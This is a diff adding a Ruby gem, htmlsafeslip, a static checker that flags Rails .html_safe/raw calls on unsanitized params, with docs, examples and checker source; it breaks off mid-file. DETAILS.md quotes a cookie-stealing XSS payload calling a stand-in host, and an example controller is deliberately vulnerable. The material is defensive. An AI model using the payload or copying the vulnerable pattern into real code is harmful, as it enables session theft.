htmlsafeslip 0.1.0

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: e76342ec60db712f0aebbd48c28d77e63eee2ed5a89544d8501373b90910f834
+  data.tar.gz: cfc56e4337296c5a515af03d0e68e73fc86ce6f6be51f99593bce0e4cc088c21
+SHA512:
+  metadata.gz: 7d0dde88d147e36f4eefbb3664be0e6cc2875247594221b5a4700d022209879d17b21c89063c7852f9370ab20de55ebbbac147b677883e57cf3fede688032893
+  data.tar.gz: 91a012514d6290f4efc48ef4189b8612022cd388023fc964b25e0f1d8a0b627ea606a722825a79340851347adc6e60c592aba29cf9f329002ff2237bf74a5308

data/DETAILS.md

@@ -0,0 +1,256 @@
+# htmlsafeslip — Design Details
+
+## Why this exists
+
+Rails escapes every string interpolated into a view by default — that's
+been true since Rails 3, and it's the single biggest built-in defense
+against Cross-Site Scripting (XSS) the framework has. A `<script>` tag
+typed into a comment box, a bio field, a search box, renders as inert
+text on the page, not as executing markup.
+
+Two mechanisms exist specifically to **opt a value out** of that
+protection:
+
+- **`String#html_safe`** — marks a string as `ActiveSupport::SafeBuffer`,
+  telling Rails "this is already safe HTML, don't escape it."
+- **`raw(...)`** (an ActionView helper) — does the same thing, wrapping a
+  value and marking it safe in one call.
+
+Both are completely legitimate when used on something a developer
+actually controls and trusts — a hardcoded HTML fragment, a value that's
+already been through `sanitize`/`strip_tags`. Called **directly on
+unsanitized user input**, either one defeats Rails' escaping entirely:
+
+```ruby
+class CommentsController < ApplicationController
+  def create
+    render html: params[:comment].html_safe   # <-- htmlsafeslip flags this
+  end
+end
+```
+
+If a visitor submits `<script>fetch('https://evil.example/steal?c='+document.cookie)</script>`
+as their comment, this code renders it back as **live, executing
+JavaScript** in every other visitor's browser the moment the page loads
+— a classic stored XSS. The exact same gap exists for a reflected value
+rendered straight back from a query param.
+
+## Why this keeps getting shipped
+
+This isn't an obscure footgun — it's one of the most commonly
+rediscovered Rails mistakes, for a simple reason: the code "just works"
+for every non-malicious input. A normal comment, a normal bio, a normal
+search term all render exactly as the developer expects. Nothing fails a
+manual click-through test. The bug is invisible until someone
+deliberately (or accidentally, via a pasted rich-text fragment with
+stray markup) submits a payload — and by then it's live in production,
+often already stored in the database and rendered to every other user.
+
+`.html_safe`/`raw(...)` are also genuinely useful and appear constantly
+in legitimate Rails code — marking a hardcoded partial's output, a value
+that's already been through `sanitize`. That legitimate, idiomatic usage
+is exactly why a plain `grep -r html_safe` across a codebase is
+unworkable as a review tool: it surfaces far more safe uses than unsafe
+ones. The actual question that matters is narrower: **does this specific
+call sit on a value traceable to user input, with nothing sanitizing it
+first?**
+
+## What `htmlsafeslip` checks (v0.1)
+
+A `.html_safe` call, or a `raw(...)` call, where the value being marked
+safe is traceable — directly, or via a same-method local-variable
+assignment — to:
+
+- `params[...]`, or
+- `params.dig(...)`
+
+...with **no** sanitization call applied to that value first, anywhere
+in the chain:
+
+- `sanitize(...)`
+- `ActionController::Base.helpers.sanitize(...)` (the fully-qualified
+  form used outside a view/controller context, e.g. a model or service
+  object)
+- `strip_tags(...)`
+- `ERB::Util.html_escape(...)` / `h(...)`
+
+```ruby
+# Flagged (HS001): direct, unsanitized
+params[:bio].html_safe
+raw(params[:comment])
+
+# Flagged (HS001): same-method local-variable trace
+bio = params[:bio]
+bio.html_safe
+
+# Flagged (HS001): params.dig(...) variant
+params.dig(:user, :bio).html_safe
+
+# NOT flagged: sanitized first
+sanitize(params[:bio]).html_safe
+strip_tags(params[:bio]).html_safe
+raw(sanitize(params[:x]))                        # nested sanitize detected
+ActionController::Base.helpers.sanitize(params[:body]).html_safe
+ERB::Util.html_escape(params[:comment]).html_safe
+
+# NOT flagged: no traceable connection to params
+"<b>Static trusted HTML</b>".html_safe            # hardcoded literal
+raw("<hr>")                                       # hardcoded literal
+@user.bio.html_safe                               # DB/model attribute -- see limitation below
+
+# NOT flagged, out of scope entirely: h(...) is the escaping helper, not
+# html_safe/raw at all -- it's the SAFE pattern, so it's never matched.
+h(params[:name])
+```
+
+## How it parses (Ripper for structure, regex only inside a located boundary)
+
+Same technique this workspace's `columnskip`/`paramspoof`/`argfreeze`
+packages use: structural boundaries (never text/`do`/`end` counting) come
+from `Ripper.sexp`; a narrower regex only runs over the text of a
+boundary already located structurally.
+
+1. Every `def`/`def self.` method node in the file is walked.
+2. Within each method body's source text (line-span located
+   structurally): every `var = params[...]`/`params.dig(...)`
+   assignment is collected into a `{var_name => sanitized?}` map, where
+   `sanitized?` is `true` if the assignment itself was wrapped in
+   `sanitize`/`strip_tags`/`ActionController::Base.helpers.sanitize`/
+   `ERB::Util.html_escape`/`h` (e.g. `bio = sanitize(params[:bio])`), and
+   `false` for a direct, unsanitized assignment (e.g. `bio =
+   params[:bio]`). A later reassignment in the same method overrides an
+   earlier one.
+3. Every `.html_safe` call site, and every `raw(...)` call site, is
+   matched, capturing the receiver/argument expression immediately
+   before `.html_safe` or inside `raw(...)`'s parentheses.
+4. That expression is classified:
+   - **sanitized** — it's itself a `sanitize`/`strip_tags`/
+     `ActionController::Base.helpers.sanitize`/`ERB::Util.html_escape`/
+     `h` call (regardless of what's inside it) → not flagged.
+   - **traced, unsanitized** — it's a direct `params[...]`/
+     `params.dig(...)` read, or a bare local variable present in the
+     method's param-variable map with `sanitized? == false` → **flagged
+     (HS001)**.
+   - **not traced** — a string literal, an instance variable/dotted
+     attribute chain (`@user.bio`), or any other shape → not flagged.
+
+## Explicitly out of scope / known limitations (v0.1)
+
+- **Same-method scope only, no cross-method/cross-file data flow.** A
+  variable assigned from `params` in one method and referenced (even
+  under the identical name) in a *different* method is not traced — this
+  mirrors the same "resolved boundary, not full data flow" trade-off
+  `columnskip`/`paramspoof`/`jobclash` document for their own checks. See
+  `different_method_scope_clean.rb` in the spec fixtures.
+- **Database/model-attribute values are not traced, even when the
+  underlying column ultimately originated from a `params` value written
+  in a different method or an entirely different request.** `@user.bio`
+  is a dotted attribute-access chain with no traceable connection to
+  `params` *in this method* — a genuinely harder, cross-request
+  stored-XSS problem (did whatever write `@user.bio` to the database, at
+  some point in the past, in some other controller action, sanitize it
+  first?) that a same-method-tracing static tool cannot answer. This is
+  an honest, deliberate scope limitation, not an oversight — the same
+  "resolved boundary, not full history" trade-off this portfolio's other
+  Ruby tools commit to for their own tracing. See
+  `db_attribute_html_safe_clean.rb` in the spec fixtures.
+- **Assignment-shape heuristic, not full expression evaluation.** A
+  variable is only recognized as params-derived when it's *directly*
+  assigned from `params[...]`/`params.dig(...)` (optionally wrapped in a
+  recognized sanitize call). `bio = fetch_bio_somehow(params[:id])` is
+  never traced — the tool has no way to know what an arbitrary method
+  call returns.
+  - A real, acknowledged consequence: a variable reassigned through an
+    *unrecognized* transformation in between (`bio = params[:bio];
+    bio = some_custom_filter(bio)`) is no longer traced at all, even
+    though the original read was unsanitized params input and the custom
+    filter might do nothing to neutralize HTML. htmlsafeslip has no way
+    to know what `some_custom_filter` does — this is the same
+    conservative trade-off `paramspoof`'s allowlist-guard detection
+    makes for its own tracing.
+- **No chained-method tolerance on the traced receiver.** `params[:bio]
+  .to_s.html_safe` is not recognized as traced (only a bare
+  `params[...]`/`params.dig(...)`/a tracked local variable is matched
+  immediately before `.html_safe`, or as `raw(...)`'s entire argument) —
+  a real, narrower-than-ideal gap, documented rather than silently
+  accepted.
+- **No autofix, no runtime enforcement.** `htmlsafeslip` only reports; it
+  never rewrites `.html_safe`/`raw(...)` calls, and never runs inside the
+  actual render path.
+
+## Prior art (checked before building, 2026-10) — honest disclosure
+
+**Brakeman — the standard, most widely used static security scanner for
+Rails — already has a long-standing, built-in check for exactly this
+pattern class.** Brakeman's `CheckCrossSiteScripting` check (one of its
+oldest and most mature checks, present since early Brakeman releases) is
+specifically built to trace tainted (user/request-derived) data flowing
+into an unescaped-output sink, including `html_safe`/`raw` call sites.
+This is a real, meaningful, direct overlap — not a different, uncovered
+gap — and anyone running Brakeman against a full Rails app already gets
+warned on patterns in this exact family.
+
+What htmlsafeslip does differently, for a reader deciding whether it
+adds anything beyond Brakeman:
+
+- **Zero Rails-app-boot/project-structure requirement.** Brakeman is
+  built to analyze a **whole, recognizable Rails application** — it
+  expects (and in practice needs) a real app directory tree
+  (`config/routes.rb`, `app/`, a parseable `Gemfile`, etc.) to build its
+  internal model and run its full taint-tracking pipeline across
+  controllers, views, and models together; it is not designed to be
+  pointed at an arbitrary single `.rb` file or snippet outside that
+  structure. `htmlsafeslip` is a pure Ripper-based static check with
+  **zero Rails/Brakeman dependency** — runnable against any `.rb` file
+  or directory, inside or outside a Rails app, with no app-boot step and
+  no project-structure requirement at all.
+- **A narrower, same-method-scope trace, not full cross-file taint
+  analysis.** Brakeman's actual strength here is exactly what
+  htmlsafeslip explicitly does *not* attempt: tracking a tainted value
+  across method calls, through instance variables set in one action and
+  read in a view, and even (with caveats) through a database round-trip.
+  htmlsafeslip's rule is deliberately narrower — same-method only, as
+  documented above — in exchange for needing nothing but the file itself
+  to run.
+- **A longer, educational message per finding**, naming the concrete
+  failure mode (a `<script>` payload executing live, the instant it
+  renders) rather than Brakeman's confidence-scored warning line — aimed
+  at a developer who hasn't hit the bug yet.
+
+**Conclusion, stated plainly: this package's core rule meaningfully
+duplicates existing, well-known Brakeman coverage for the subset of
+cases Brakeman is actually run against (a full, bootable Rails app).**
+It's documented here in full rather than glossed over — the
+differentiator that matters in practice is "no Rails-app-boot
+requirement, usable on a single file or a non-standard project layout,"
+not "catches something Brakeman fundamentally can't."
+
+## Package layout
+
+```
+htmlsafeslip/
+  lib/htmlsafeslip.rb          # top-level require, Htmlsafeslip.check entry point
+  lib/htmlsafeslip/            # finding, checker, cli, render, version
+  exe/htmlsafeslip              # CLI executable
+  spec/                        # RSpec suite + fixture .rb files
+  examples/                    # one controller that trips the rule, one clean fix
+  docs/USAGE.md                # full API/CLI reference
+```
+
+## Testing
+
+Fixture-based, zero network/Rails dependency: RSpec covering direct
+`params[:bio].html_safe` and `raw(params[:comment])` (both flagged), a
+same-method local-variable trace, the `params.dig(...)` variant, multiple
+`.html_safe`/`raw` calls in one method with only the unsanitized one
+flagged, `sanitize(...)`/`strip_tags(...)`/
+`ActionController::Base.helpers.sanitize(...)`/`ERB::Util.html_escape(...)`
+applied first (all clean), a hardcoded string literal on both
+`.html_safe` and `raw(...)` (clean), `h(...)` as an out-of-scope escaping
+helper (clean, never matched at all), a nested `sanitize(...)` inside
+`raw(...)`'s argument (clean), a database/model-attribute value with no
+same-method params trace (clean, documented limitation), same-method-
+scope-only tracing (a same-named variable in a different method isn't
+traced), and a file that fails to parse (returns no findings rather than
+raising). The CLI is exercised end-to-end against fixture files, checking
+text and `--json` output and all exit codes.

data/Gemfile

@@ -0,0 +1,3 @@
+source "https://rubygems.org"
+
+gemspec

data/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Jay Tank
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

data/README.md

@@ -0,0 +1,115 @@
+# htmlsafeslip
+
+[![Gem Version](https://img.shields.io/gem/v/htmlsafeslip.svg)](https://rubygems.org/gems/htmlsafeslip)
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
+
+Flags a `.html_safe` call, or a `raw(...)` call, applied to a value
+traceable — directly, or via a same-method local variable — to
+`params[...]`/`params.dig(...)`, with **no sanitization call applied to
+it first**.
+
+Both `.html_safe` and `raw(...)` tell Rails' view layer "this string is
+already safe HTML, don't auto-escape it." Rails' default auto-escaping
+(on by default since Rails 3) is the single biggest built-in XSS defense
+the framework has — calling either directly on unsanitized,
+user-controlled input defeats it entirely, turning a `<script>...</script>`
+payload typed into a comment, bio, or URL param into live, executing
+HTML the instant it's rendered. See [DETAILS.md](DETAILS.md) for the
+exact failure mode.
+
+> **Honest prior-art note:** Brakeman — the standard, widely used Rails
+> security scanner — already has a mature, built-in check
+> (`CheckCrossSiteScripting`) for exactly this pattern class. This is a
+> real, meaningful overlap, not a different, uncovered gap. See
+> [DETAILS.md](DETAILS.md#prior-art-checked-before-building-2026-10----honest-disclosure)
+> for the full, honest comparison — in short, Brakeman requires a full,
+> bootable Rails application to run against; `htmlsafeslip` is a
+> standalone, zero-Rails/Brakeman-dependency Ripper check that runs
+> against any `.rb` file or directory, with no app-boot step.
+
+## Quick start
+
+```bash
+gem install htmlsafeslip
+htmlsafeslip check app/controllers app/views app/helpers
+```
+
+```
+htmlsafeslip: 1 finding(s)
+[HS001] app/controllers/comments_controller.rb:4 params[:comment].html_safe -- CommentsController#create: params[:comment].html_safe marks a value traceable to `params[:comment]' in #create as already-safe HTML, with no sanitize(...)/strip_tags(...)/h(...)/ERB::Util.html_escape(...) call applied to it first -- this defeats Rails' default auto-escaping entirely, so a <script>...</script> (or any other HTML) payload in this value executes live, the instant it's rendered. Run it through sanitize(...) or strip_tags(...) before marking it safe, or drop .html_safe and let Rails auto-escape it. See DETAILS.md.
+```
+
+Exits `1` if any finding, `0` otherwise — wire it into CI as a pre-merge
+gate on `app/controllers/`, `app/views/`, and `app/helpers/`.
+
+## As a library
+
+```ruby
+require "htmlsafeslip"
+
+findings = Htmlsafeslip.check(paths: Dir.glob("app/**/*.rb"))
+findings.each { |f| puts "[#{f.code}] #{f.kind} on #{f.receiver} (#{f.file}:#{f.line})" }
+```
+
+## What it checks (v0.1)
+
+A `.html_safe` call, or a `raw(...)` call, on a value that is:
+
+1. a **direct** `params[...]`/`params.dig(...)` read, or
+2. a **bare local variable** assigned from one of those earlier in the
+   *same method* (traced anywhere later in the same method body),
+
+...with **no** sanitization call (`sanitize(...)`,
+`ActionController::Base.helpers.sanitize(...)`, `strip_tags(...)`,
+`ERB::Util.html_escape(...)`/`h(...)`) applied to that value first,
+anywhere in the chain — including nested inside `raw(...)`'s own
+argument (`raw(sanitize(params[:x]))` is correctly recognized as safe).
+
+```ruby
+params[:bio].html_safe                 # flagged
+raw(params[:comment])                  # flagged
+bio = params[:bio]; bio.html_safe      # flagged (same-method trace)
+params.dig(:user, :bio).html_safe      # flagged
+
+sanitize(params[:bio]).html_safe       # not flagged -- sanitized first
+strip_tags(params[:bio]).html_safe     # not flagged -- sanitized first
+raw(sanitize(params[:x]))              # not flagged -- nested sanitize
+"<b>Static trusted HTML</b>".html_safe # not flagged -- hardcoded literal
+raw("<hr>")                            # not flagged -- hardcoded literal
+h(params[:name])                       # not flagged -- out of scope, the safe pattern
+@user.bio.html_safe                    # not flagged -- DB attribute, see limitation
+```
+
+**Not flagged / explicitly out of scope** (see
+[DETAILS.md](DETAILS.md#explicitly-out-of-scope--known-limitations-v01)
+for the full, honest list):
+
+- A database/model-attribute value with no traceable connection to
+  `params` in the *same method* — a real, documented scope limitation,
+  not a guarantee the value is actually safe (it may have originated
+  from an unsanitized `params` value written in a different
+  method/request entirely).
+- A hardcoded string literal — the common, legitimate Rails idiom for
+  marking genuinely-static trusted HTML as safe.
+- `h(...)`/`ERB::Util.html_escape(...)` calls themselves — these *are*
+  the safe escaping pattern, so they're never matched as findings at all
+  (only recognized as a sanitizer when they wrap a traced value before
+  `.html_safe`/`raw(...)`).
+- Same-method scope only — a variable assigned from `params` in one
+  method isn't traced into a different method, even under the identical
+  variable name.
+
+Class/method boundaries are found by parsing with Ruby's own `Ripper`,
+not regex over raw source — see [DETAILS.md](DETAILS.md) for exactly
+how, and its honest limits.
+
+## Requirements
+
+Developed and tested against Ruby 3.0.2, matching this workspace's other
+Ruby packages. No known incompatibility with newer 3.x versions. No
+Rails or ActionView installation is required to run htmlsafeslip — it's
+a pure static-source check.
+
+## License
+
+MIT

data/docs/USAGE.md

@@ -0,0 +1,84 @@
+# htmlsafeslip — Usage
+
+## Library API
+
+```ruby
+require "htmlsafeslip"
+
+findings = Htmlsafeslip.check(paths: paths)
+```
+
+`paths` — an array of paths to `.rb` files (the CLI expands directories
+for you; the library API expects an already-expanded file list, so use
+`Dir.glob("app/**/*.rb")` or similar).
+
+### Return value
+
+An `Array<Htmlsafeslip::Finding>`. Each `Finding` has:
+
+- `code` — always `"HS001"` (one rule: an unsanitized, params-traceable
+  value marked safe for raw HTML rendering)
+- `klass` — the enclosing class name the call site was found in (nil if
+  the call site sits outside any class)
+- `method` — the enclosing method name, e.g. `"create"`
+- `kind` — which unescaping mechanism was used: `"html_safe"` or `"raw"`
+- `receiver` — the receiver/argument text that was marked safe, e.g.
+  `"params[:bio]"`, `"bio"`, or `"params.dig(:user, :bio)"`
+- `file` — path to the source file
+- `line` — line number of the offending call
+- `message` — human-readable description with the fix
+- `#to_h` — plain hash of the above eight keys
+
+## CLI
+
+```bash
+htmlsafeslip check <path> [<path> ...] [--json]
+```
+
+Each `<path>` is a `.rb` file or a directory (directories are recursively
+expanded to every `**/*.rb` file inside them). At least one path is
+required.
+
+### Exit codes
+
+- `0` — no findings
+- `1` — one or more findings
+- `2` — usage error (no paths, unknown command, bad flag)
+
+### Example
+
+```bash
+$ htmlsafeslip check app/controllers/comments_controller.rb
+
+htmlsafeslip: 1 finding(s)
+[HS001] app/controllers/comments_controller.rb:4 params[:comment].html_safe -- CommentsController#create: params[:comment].html_safe marks a value traceable to `params[:comment]' in #create as already-safe HTML, with no sanitize(...)/strip_tags(...)/h(...)/ERB::Util.html_escape(...) call applied to it first -- this defeats Rails' default auto-escaping entirely, so a <script>...</script> (or any other HTML) payload in this value executes live, the instant it's rendered. Run it through sanitize(...) or strip_tags(...) before marking it safe, or drop .html_safe and let Rails auto-escape it. See DETAILS.md.
+```
+
+### `--json`
+
+```bash
+$ htmlsafeslip check app/controllers/comments_controller.rb --json
+{"findings":[{"code":"HS001","klass":"CommentsController","method":"create","kind":"html_safe","receiver":"params[:comment]","file":"app/controllers/comments_controller.rb","line":4,"message":"..."}]}
+```
+
+## What triggers a finding
+
+A `.html_safe` call, or a `raw(...)` call, on a value that is:
+
+1. a direct `params[...]`/`params.dig(...)` read, or
+2. a bare local variable assigned from one of those earlier in the
+   *same method*,
+
+...with no `sanitize(...)`/`ActionController::Base.helpers.sanitize(...)`/
+`strip_tags(...)`/`ERB::Util.html_escape(...)`/`h(...)` call applied to
+that value first.
+
+Not flagged: a hardcoded string literal, a value already passed through
+one of the sanitization calls above (including nested inside `raw(...)`'s
+own argument), `h(...)`/`ERB::Util.html_escape(...)` used by themselves
+(the safe pattern, out of scope entirely since no `.html_safe`/`raw(...)`
+is involved), a database/model-attribute value with no same-method
+`params` trace, and a variable traced only in a different method. See
+[DETAILS.md](../DETAILS.md) for the exact failure mode this rule
+targets, the honest prior-art comparison against Brakeman's
+`CheckCrossSiteScripting` check, and this heuristic's documented limits.

data/examples/app/controllers/comments_controller.rb

@@ -0,0 +1,31 @@
+# htmlsafeslip flags both calls below: `.html_safe` and `raw(...)` tell
+# Rails' view layer "this string is already safe HTML, don't auto-escape
+# it" -- applied directly to a user-controlled params value with no
+# sanitization first, any <script>...</script> (or other HTML) payload a
+# visitor submits in a comment or bio field executes live, in every other
+# visitor's browser, the instant the page renders.
+class CommentsController < ApplicationController
+  def create
+    @comment = Comment.new(comment_params)
+    @comment.save!
+
+    # The submitted comment body is rendered back unsanitized and
+    # unescaped -- a stored/reflected XSS payload executes for anyone who
+    # views this response.
+    render html: params[:comment].html_safe
+  end
+
+  def show
+    bio = params.dig(:user, :bio)
+
+    # raw(...) is exactly as dangerous as .html_safe here -- same missing
+    # sanitization, same traced params value.
+    render html: raw(bio)
+  end
+
+  private
+
+  def comment_params
+    params.require(:comment).permit(:body)
+  end
+end

data/examples/app/controllers/fixed_comments_controller.rb

@@ -0,0 +1,24 @@
+# Clean: the documented, correct pattern. sanitize(...) strips disallowed
+# tags/attributes BEFORE the value is marked safe for raw HTML rendering --
+# a <script>...</script> payload never reaches the browser as executable
+# markup.
+class CommentsController < ApplicationController
+  def create
+    @comment = Comment.new(comment_params)
+    @comment.save!
+
+    render html: sanitize(params[:comment]).html_safe
+  end
+
+  def show
+    bio = params.dig(:user, :bio)
+
+    render html: raw(sanitize(bio))
+  end
+
+  private
+
+  def comment_params
+    params.require(:comment).permit(:body)
+  end
+end

data/exe/htmlsafeslip

@@ -0,0 +1,7 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require "htmlsafeslip"
+require "htmlsafeslip/cli"
+
+exit Htmlsafeslip::CLI.run(ARGV)

data/htmlsafeslip.gemspec

@@ -0,0 +1,38 @@
+require_relative "lib/htmlsafeslip/version"
+
+Gem::Specification.new do |spec|
+  spec.name          = "htmlsafeslip"
+  spec.version       = Htmlsafeslip::VERSION
+  spec.authors       = ["Jay"]
+  spec.summary       = "Flags .html_safe/raw(...) calls on a value traceable to params[...] with no sanitization applied first."
+  spec.description   = <<~DESC
+    htmlsafeslip parses Ruby source with Ripper to find a call to
+    `.html_safe` directly on an expression, or a `raw(...)` wrapping one,
+    where that expression is traceable (directly, or via a same-method
+    local-variable assignment) to `params[...]`/`params.dig(...)`, with no
+    `sanitize(...)`/`strip_tags(...)`/`h(...)`/`ERB::Util.html_escape(...)`
+    call applied to it first. Both `.html_safe` and `raw(...)` tell Rails'
+    view layer "this string is already safe HTML, don't auto-escape it" --
+    calling either directly on unsanitized, user-controlled input defeats
+    Rails' single biggest built-in XSS defense, turning a reflected or
+    stored script-tag payload into live, executing HTML the instant it's
+    rendered.
+  DESC
+  spec.homepage      = "https://github.com/jay-tank/htmlsafeslip"
+  spec.license       = "MIT"
+  spec.required_ruby_version = ">= 3.0.0"
+
+  spec.metadata["homepage_uri"]    = spec.homepage
+  spec.metadata["source_code_uri"] = spec.homepage
+
+  spec.files = Dir.chdir(File.expand_path(__dir__)) do
+    `git ls-files -z`.split("\x0").reject do |f|
+      f.match(%r{\A(?:test|spec|features)/}) || f.match(%r{\A\.github/})
+    end
+  end
+  spec.bindir        = "exe"
+  spec.executables   = spec.files.grep(%r{\Aexe/}) { |f| File.basename(f) }
+  spec.require_paths = ["lib"]
+
+  spec.add_development_dependency "rspec", "~> 3.13"
+end

data/lib/htmlsafeslip/checker.rb

@@ -0,0 +1,268 @@
+require "ripper"
+
+module Htmlsafeslip
+  # Parses Ruby source with Ripper (structure only -- method boundaries are
+  # found by walking the s-expression, never by regex over raw source; a
+  # second, narrower regex pass runs only over the text of a boundary
+  # already located structurally, the same technique this workspace's
+  # argfreeze/columnskip/paramspoof packages use) looking for:
+  #
+  #   1. `.html_safe` called directly on an expression traceable (directly,
+  #      or via a same-method local-variable assignment) to
+  #      `params[...]`/`params.dig(...)`, or
+  #   2. `raw(...)` wrapping such a traceable expression,
+  #
+  # ...with no sanitization call (`sanitize(...)`,
+  # `ActionController::Base.helpers.sanitize(...)`, `strip_tags(...)`,
+  # `ERB::Util.html_escape(...)`/`h(...)`) applied to that value first.
+  #
+  # Both `.html_safe` and `raw(...)` tell Rails' view layer "this string is
+  # already-safe HTML, skip auto-escaping it" -- calling either directly on
+  # unsanitized, user-controlled input defeats Rails' default
+  # auto-escaping (its single biggest built-in XSS defense) and turns a
+  # reflected/stored XSS payload into live, executing HTML.
+  #
+  # HS001 - `.html_safe`/`raw(...)` on a value traceable to
+  #         `params[...]`/`params.dig(...)` (same method), with no
+  #         `sanitize`/`strip_tags`/`h`/`ERB::Util.html_escape` applied to
+  #         that same value first.
+  class Checker
+    BALANCED_ARGS = '(?:[^()]|\([^()]*\))*'
+
+    # Names of methods/call-prefixes that sanitize a value before it's
+    # marked safe -- wrapping the traced value in any of these clears it.
+    SANITIZE_PREFIX = 'ActionController::Base\.helpers\.sanitize|sanitize|strip_tags|ERB::Util\.html_escape|h'
+
+    # One "atom" that can sit as the receiver of `.html_safe` or as the
+    # (stripped) argument of `raw(...)`:
+    #   - a sanitize-shaped call, e.g. `sanitize(params[:bio])`
+    #   - `params.dig(...)`
+    #   - `params[...]`
+    #   - a double- or single-quoted string literal (hardcoded, never
+    #     traceable to params)
+    #   - a bare local variable / ivar / dotted attribute chain, e.g.
+    #     `bio`, `@user.bio`
+    RECEIVER_ATOM =
+      "(?:(?:#{SANITIZE_PREFIX})\\s*\\(#{BALANCED_ARGS}\\)" \
+      "|params\\s*\\.\\s*dig\\s*\\(#{BALANCED_ARGS}\\)" \
+      "|params\\s*\\[[^\\]\\n]*\\]" \
+      '|"(?:[^"\\\\]|\\\\.)*"' \
+      "|'(?:[^'\\\\]|\\\\.)*'" \
+      '|@?[a-zA-Z_]\w*(?:\s*\.\s*[a-zA-Z_]\w*)*' \
+      ")"
+
+    HTML_SAFE_CALL = /(#{RECEIVER_ATOM})\s*\.\s*html_safe\b/.freeze
+
+    RAW_CALL = /\braw\s*\(((?:[^()]|\([^()]*\))*)\)/.freeze
+
+    # A local variable assigned (same method) from either a direct
+    # `params[...]`/`params.dig(...)` read (unsanitized), or from a
+    # sanitize-shaped call (sanitized) -- scanned in textual order so a
+    # later reassignment overrides an earlier one.
+    ASSIGN_RE =
+      /\b([a-z_]\w*)\s*=\s*((?:#{SANITIZE_PREFIX})\s*\(#{BALANCED_ARGS}\)|params\s*\.\s*dig\s*\(#{BALANCED_ARGS}\)|params\s*\[[^\]\n]*\])/.freeze
+
+    SANITIZED_SHAPE = /\A(?:#{SANITIZE_PREFIX})\s*\(/.freeze
+    PARAMS_SHAPE = /\Aparams\s*(?:\[|\.\s*dig\s*\()/.freeze
+    STRING_LITERAL_SHAPE = /\A["']/.freeze
+    BARE_IDENT_SHAPE = /\A@?[a-zA-Z_]\w*\z/.freeze
+
+    def initialize(paths:)
+      @paths = paths
+    end
+
+    def call
+      paths.flat_map { |path| scan_file(path) }
+    end
+
+    private
+
+    attr_reader :paths
+
+    def scan_file(path)
+      source = File.read(path)
+      sexp = Ripper.sexp(source)
+      return [] unless sexp
+
+      lines = source.lines
+      findings = []
+
+      each_method_node(sexp) do |class_name, def_node|
+        start_line = min_line(def_node)
+        end_line = max_line(def_node)
+        next unless start_line && end_line
+
+        method_name = def_name(def_node)
+        body_source = lines[(start_line - 1)...end_line].join
+
+        param_vars = build_param_vars(body_source)
+
+        scan_html_safe(findings, path, body_source, start_line, param_vars,
+                       class_name: class_name, method_name: method_name)
+        scan_raw(findings, path, body_source, start_line, param_vars,
+                 class_name: class_name, method_name: method_name)
+      end
+
+      findings
+    end
+
+    # Builds a {var_name => sanitized?} map for every `var = ...`
+    # assignment in this method body that originates from params (directly
+    # or via a sanitize-shaped wrapper), in textual order so a later
+    # reassignment wins.
+    def build_param_vars(body_source)
+      param_vars = {}
+
+      body_source.to_enum(:scan, ASSIGN_RE).each do
+        match = Regexp.last_match
+        var_name = match[1]
+        value_text = match[2]
+        param_vars[var_name] = value_text.strip.match?(SANITIZED_SHAPE)
+      end
+
+      param_vars
+    end
+
+    def scan_html_safe(findings, path, body_source, start_line, param_vars, class_name:, method_name:)
+      body_source.to_enum(:scan, HTML_SAFE_CALL).each do
+        match = Regexp.last_match
+        receiver = match[1].strip
+
+        status = analyze(receiver, param_vars)
+        next unless status == :traced_unsanitized
+
+        add_finding(findings, path, body_source, match, start_line,
+                    class_name: class_name, method_name: method_name,
+                    kind: "html_safe", receiver: receiver)
+      end
+    end
+
+    def scan_raw(findings, path, body_source, start_line, param_vars, class_name:, method_name:)
+      body_source.to_enum(:scan, RAW_CALL).each do
+        match = Regexp.last_match
+        arg = match[1].strip
+        next if arg.empty?
+
+        status = analyze(arg, param_vars)
+        next unless status == :traced_unsanitized
+
+        add_finding(findings, path, body_source, match, start_line,
+                    class_name: class_name, method_name: method_name,
+                    kind: "raw", receiver: arg)
+      end
+    end
+
+    # Classifies a receiver/argument expression as:
+    #   :sanitized            -- wrapped in sanitize/strip_tags/h/html_escape
+    #   :traced_unsanitized   -- traceable to params with no sanitization
+    #   :not_traced           -- a literal, an ivar/attribute chain, or an
+    #                            unrelated local variable (documented
+    #                            out-of-scope cases)
+    def analyze(text, param_vars)
+      return :sanitized if text.match?(SANITIZED_SHAPE)
+      return :traced_unsanitized if text.match?(PARAMS_SHAPE)
+      return :not_traced if text.match?(STRING_LITERAL_SHAPE)
+
+      if text.match?(BARE_IDENT_SHAPE)
+        return :not_traced if text.start_with?("@")
+        return :not_traced unless param_vars.key?(text)
+
+        return param_vars[text] ? :sanitized : :traced_unsanitized
+      end
+
+      # Anything else (a dotted attribute chain like `@user.bio`, a method
+      # call we don't specifically recognize, etc.) is not traceable to
+      # params in this same-method pass -- see DETAILS.md for the
+      # documented database/model-attribute scope limitation.
+      :not_traced
+    end
+
+    def add_finding(findings, path, body_source, match, start_line, class_name:, method_name:, kind:, receiver:)
+      line = start_line + body_source[0...match.begin(0)].count("\n")
+
+      call_text = kind == "html_safe" ? "#{receiver}.html_safe" : "raw(#{receiver})"
+
+      findings << Finding.new(
+        code: "HS001",
+        klass: class_name,
+        method: method_name,
+        kind: kind,
+        receiver: receiver,
+        file: path,
+        line: line,
